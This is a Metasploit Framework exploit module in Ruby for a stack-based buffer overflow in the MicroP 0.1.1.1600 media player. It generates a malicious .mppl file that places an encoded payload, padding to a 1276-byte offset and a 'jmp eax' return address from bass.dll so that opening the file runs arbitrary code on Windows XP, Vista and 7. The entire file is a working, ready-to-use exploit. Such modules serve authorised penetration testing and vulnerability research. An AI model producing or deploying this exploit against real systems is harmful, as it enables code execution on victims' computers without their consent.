## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based buffer overflow occurs when the content of a .mppl file gets copied onto the stack, which overwrites the lpFileName parameter of a CreateFileA() function, and results arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Fitts' ], 'Version' => '$Revision$', 'References' => [ [ 'OSVDB', '73627'], [ 'EDB', 14720 ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 728, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 / Vista / 7', { 'Ret' => 0x100145b5, #jmp eax in bass.dll 'Offset' => 1276, #Offset to overwrite EIP } ], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 23 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.mppl']), ], self.class) end def exploit mppl = payload.encoded mppl << rand_text_alpha(target['Offset'] - payload.encoded.length) mppl << [target.ret].pack('V') print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(mppl) end end